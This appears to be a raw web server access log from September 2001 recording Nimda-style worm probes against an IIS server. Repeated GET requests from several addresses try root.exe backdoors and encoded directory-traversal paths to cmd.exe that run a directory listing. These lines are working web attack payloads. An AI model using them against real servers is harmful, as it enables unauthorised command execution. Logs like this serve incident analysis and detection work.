20010920 20:13:57: latte.ecn.purdue.edu [128.46.209.119] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 20:13:57: latte.ecn.purdue.edu [128.46.209.119] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:13:57: latte.ecn.purdue.edu [128.46.209.119] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:13:57: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:13:57: latte.ecn.purdue.edu [128.46.209.119] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:13:57: latte.ecn.purdue.edu [128.46.209.119] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:13:58: latte.ecn.purdue.edu [128.46.209.119] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:13:58: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:13:58: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:13:58: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:13:58: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:13:58: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:13:58: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:13:58: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:13:59: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:13:59: [210.176.189.90] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 20:15:16: [210.176.189.90] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 20:15:17: [210.176.189.90] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:15:19: [210.176.189.90] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:15:20: [210.176.189.90] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:15:21: [210.176.189.90] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:15:23: [210.176.189.90] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:15:25: [210.176.189.90] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:15:27: [210.176.189.90] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:15:29: [210.176.189.90] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:15:30: [210.176.189.90] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:15:32: [210.176.189.90] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:15:33: [210.176.189.90] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:15:35: [210.176.189.90] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:15:36: [210.176.189.90] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:15:38: [210.176.189.90] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:15:39: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 20:38:10: latte.ecn.purdue.edu [128.46.209.119] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 20:38:10: latte.ecn.purdue.edu [128.46.209.119] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:38:10: latte.ecn.purdue.edu [128.46.209.119] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:38:11: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:38:11: latte.ecn.purdue.edu [128.46.209.119] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:38:11: latte.ecn.purdue.edu [128.46.209.119] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:38:11: latte.ecn.purdue.edu [128.46.209.119] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:38:11: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:38:11: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:38:11: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:38:11: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:38:12: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:38:12: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:38:12: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:38:12: latte.ecn.purdue.edu [128.46.209.119] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 20:38:12: [210.0.179.17] "GET /scripts/root.exe?/c+dir HTTP/1.0"